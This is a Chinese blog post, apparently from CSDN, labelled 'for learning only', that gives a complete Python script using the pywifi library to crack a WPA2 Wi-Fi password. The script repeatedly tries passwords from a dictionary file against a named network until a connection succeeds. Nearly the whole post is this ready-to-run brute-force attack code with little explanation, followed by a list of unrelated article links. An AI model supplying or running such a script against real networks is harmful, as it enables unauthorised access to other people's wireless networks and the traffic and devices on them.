• 获取wifi密码信息(仅供学习使用,勿作他用)


    上一篇文章我们讲解学习了密码字典生成,下面我们来看一下如何获取wifi信息,具体代码如下:

    ```
    # _*_ coding : UTF-8 _*_# 开发人员:快乐的洋仔
    # 开发时间:  2020/4/17 21:01
    # 文件名称: pojieWifi.PY
    # 开发工具: PyCharm
    # coding:utf-8
    import pywifi
    from pywifi import const
    import time
    import datetime


    def wifiConnect(pwd):
        wifi = pywifi.PyWiFi()
        ifaces = wifi.interfaces()[0]
        ifaces.disconnect()
        wifistatus = ifaces.status()
        if wifistatus == const.IFACE_DISCONNECTED:
            profile = pywifi.Profile()
            # 你想要破解wifi名称
            profile.ssid = "iphone"
            profile.auth = const.AUTH_ALG_OPEN
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            profile.key = pwd
            ifaces.remove_all_network_profiles()
            tep_profile = ifaces.add_network_profile(profile)
            ifaces.connect(tep_profile)
            time.sleep(2)
            if ifaces.status() == const.IFACE_CONNECTED:
                return True
            else:
                return False
        else:
            print("已有wifi连接")

        # 读取密码本
    def readPwd():

        print("哈哈,我们开始破解了哦:")
        # 密码本路径
        path = "E:\pwd.txt"
        # 打开文件
        file = open(path, "r")
        while True:
            try:
                # 一行一行读取
                pwd = file.readline()
                success = wifiConnect(pwd)

                if success:
                    print("密码被你完美破解: ", pwd)
                    break
                else:
                    # 跳出当前循环,进行下一次循环
                    print("密码破解中....密码校对信息为: ", pwd)
            except:
                continue
    readPwd()
    ```

    更多编程内容,请扫码关注《coder练习生》,如果觉得有用,也可赠送作者一杯咖啡

     

  • 相关阅读:
    RK3568处理器体验小记
    【网络安全】黑客自学笔记
    系统平台关键词怎么补?具体操作思路
    JavaScript原型&原型链到底是什么
    高速专线不打烊 DPDK Hotplug助你实现设备动态管理
    关闭vscode检查更新
    Windows安装Nginx及部署vue前端项目操作
    9.8day58 单调栈
    Unity之ShaderGraph如何实现靠近显示溶解效果
    Linux 进程管理
  • 原文地址:https://blog.csdn.net/ybb_ymm/article/details/126067378